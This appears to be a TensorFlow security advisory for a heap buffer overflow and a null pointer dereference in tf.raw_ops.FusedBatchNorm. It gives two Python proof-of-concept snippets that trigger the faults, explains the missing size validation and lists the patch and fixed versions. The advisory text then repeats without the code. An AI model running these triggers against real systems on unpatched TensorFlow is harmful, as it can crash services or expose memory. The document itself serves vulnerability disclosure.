Impact
The implementation of tf.raw_ops.FusedBatchNorm is vulnerable to a heap buffer overflow:
import tensorflow as tf
x = tf.zeros([10, 10, 10, 6], dtype=tf.float32)
scale = tf.constant([0.0], shape=[1], dtype=tf.float32)
offset = tf.constant([0.0], shape=[1], dtype=tf.float32)
mean = tf.constant([0.0], shape=[1], dtype=tf.float32)
variance = tf.constant([0.0], shape=[1], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False
tf.raw_ops.FusedBatchNorm(
x=x, scale=scale, offset=offset, mean=mean, variance=variance,
epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,
data_format=data_format, is_training=is_training)If the tensors are empty, the same implementation can trigger undefined behavior by dereferencing null pointers:
import tensorflow as tf
import numpy as np
x = tf.zeros([10, 10, 10, 1], dtype=tf.float32)
scale = tf.constant([], shape=[0], dtype=tf.float32)
offset = tf.constant([], shape=[0], dtype=tf.float32)
mean = tf.constant([], shape=[0], dtype=tf.float32)
variance = tf.constant([], shape=[0], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False
tf.raw_ops.FusedBatchNorm(
x=x, scale=scale, offset=offset, mean=mean, variance=variance,
epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,
data_format=data_format, is_training=is_training)
The implementation fails to validate that scale, offset, mean and variance (the last two only when required) all have the same number of elements as the number of channels of x. This results in heap out of bounds reads when the buffers backing these tensors are indexed past their boundary.
If the tensors are empty, the validation mentioned in the above paragraph would also trigger and prevent the undefined behavior.
Patches
We have patched the issue in GitHub commit 6972f9dfe325636b3db4e0bc517ee22a159365c0.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
Impact
The implementation of
tf.raw_ops.FusedBatchNormis vulnerable to a heap buffer overflow:If the tensors are empty, the same implementation can trigger undefined behavior by dereferencing null pointers:
The implementation fails to validate that
scale,offset,meanandvariance(the last two only when required) all have the same number of elements as the number of channels ofx. This results in heap out of bounds reads when the buffers backing these tensors are indexed past their boundary.If the tensors are empty, the validation mentioned in the above paragraph would also trigger and prevent the undefined behavior.
Patches
We have patched the issue in GitHub commit 6972f9dfe325636b3db4e0bc517ee22a159365c0.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.